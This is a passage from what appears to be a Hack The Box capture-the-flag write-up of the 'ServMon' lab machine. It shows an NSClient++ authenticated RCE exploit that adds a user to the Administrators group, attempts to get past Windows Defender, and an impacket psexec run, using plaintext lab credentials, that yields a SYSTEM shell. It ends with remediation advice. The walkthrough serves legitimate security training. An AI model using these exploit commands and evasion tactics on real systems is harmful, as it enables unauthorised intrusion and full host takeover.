Both look viable, but 48360 looks a little more fleshed-out as a python script, so let’s go for that one. We’ll download the file and rename it to a more descriptive filename, and then run the command to see the usage info:

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit -m 48360
  Exploit: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48360
     Path: /usr/share/exploitdb/exploits/json/webapps/48360.txt
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /0ps/HTB/servmon/exploit/48360.txt

intinfosec@kali:/0ps/HTB/servmon/exploit$ mv 48360.txt nsclient_rce.py
initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 nsclient_rce.py
usage: NSClient++ 0.5.2.35 Authenticated RCE [-h] [-t [target]] [-P [port]] [-p [password]] [-c [command]]

optional arguments:
  -h, --help     show this help message and exit
  -t [target]    Target IP Address.
  -P [port]      Target Port.
  -p [password]  NSClient++ Administrative Password.
  -c [command]   Command to execute on target

It looks like we can provide a command to execute to the target if successful, so let’s go ahead try to add nadine to the adminstrators group. The command run is shown below:

initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 nsclient_rce.py -t 127.0.0.1 -P 8443 -p ew2x6SsGTxjRwXOT -c 'net localgroup Administrators nadine /add'
[!] Targeting base URL https://127.0.0.1:8443
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Enabling External Scripts Module . . .
[!] Configuring Script with Specified Payload . . .
[+] Added External Script (name: wlwJwtDGStP)
[!] Saving Configuration . . .
[!] Reloading Application . . .
[!] Waiting for Application to reload . . .
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Triggering payload, should execute shortly . . .

Going back to our shell with nadine logged in, we can run a group query, and confirm the exploit successfully added nadine to the administrators group:

nadine@SERVMON C:\Users\Nadine>net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Nadine
The command completed successfully.

Escalation to NT_AUTHORITY_SYSTEM

Awesome, so we know the exploit worked. However, we find that the path to further elevate the NT_AUTHORITY_SYSTEM may not be super straightforward. Both when trying to execute a msfvenom reverse shell executable, and when trying to run psexec to elevate to system, execution is blocked. Even with 3 iterations of shakata_gai_na encoding on the msfvenom shell.exe file, Defender still seems to flag the process. PsExec does not seem to run properly as it requires elevated privileges to run the process, where our current shell in the listener is still a user-level shell. Even if it were not, however, my prior attempts trying the psexec elevation method show that it is often caught by defender in more recent versions of Windows, or if not, spawns a new shell, requiring GUI access.

So we need to figure out a way to spawn an elevated shell, when perhaps we cannot do so from our current user shell, and we do not have RDP enabled. Trying to get the exploit to execute nishang’s reverse-tcp.ps1 script also seemed to fail for me (whether it was blocked or my syntax was slightly off in the payload command argument was undetermined.)

However, since we know have administrative rights, we can leverage impacket’s psexec.py script, which writes and runs an executable via an administrative share over SMB. As this is a new process that is created since it is run local from kali, we no longer have the issue of our old cmd shell being a low-level session. Additionally, execution happens through SMB, somehow getting around the defender block. Whether that was the medium of execution or the type of executable generated by the script is not entirely apparent to me currently.

Ultimately, we can run a simple python3 script found within kali as part of the impacket module. Now that we have administrator abilities, it can leverage the admin share to create and run the executable, giving us a system shell back in the same tty the python script was run in. Syntax is fairly straightforward, like psexec.py DOMAIN/user:password@IP

Running the following results in an NT_AUTHORITY_SYSTEM shell returned locally, giving us full access to the target ServMon, as shown in the below screenshot.

initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 /usr/local/bin/psexec.py WORKGROUP/nadine:L1k3B1gBut7s@W0rk@10.10.10.184

Conclusion

Recommended Remediations

Disallow FTP, and implement a more secure file sharing service. Additionally do not open any file sharing service externally if possible. If external access is needed, try to utilize an allowed list of hosts, while blocking the rest
Do not store sensitive information such as credentials on any publically accessible server. If credentials must be stored somewhere, make sure they are local and securely hashed and salted
Patch the NVMS-1000 application to address the path traversal vulnerability exploited
Path the NSClient application to address the remote command execution vulnerability
Implement a WAF or IDS or IPS if possible to detect and/or block connections that don’t match an expected baseline (e.g. block reverse TCP connections to an unknown/untrusted server that don’t match an expected/standard protocol/communication method.)

Positive remarks

Good progress was made towards the security of the system by disallowing remote access to the NSClient. However, as demonstrated, with valid credentials, such measures can be exploited fairly trivially
The overall patch level and relevatively updated state of Windows Defender is a good step towards securing the host.

All for now; until next time.

~@initinfosec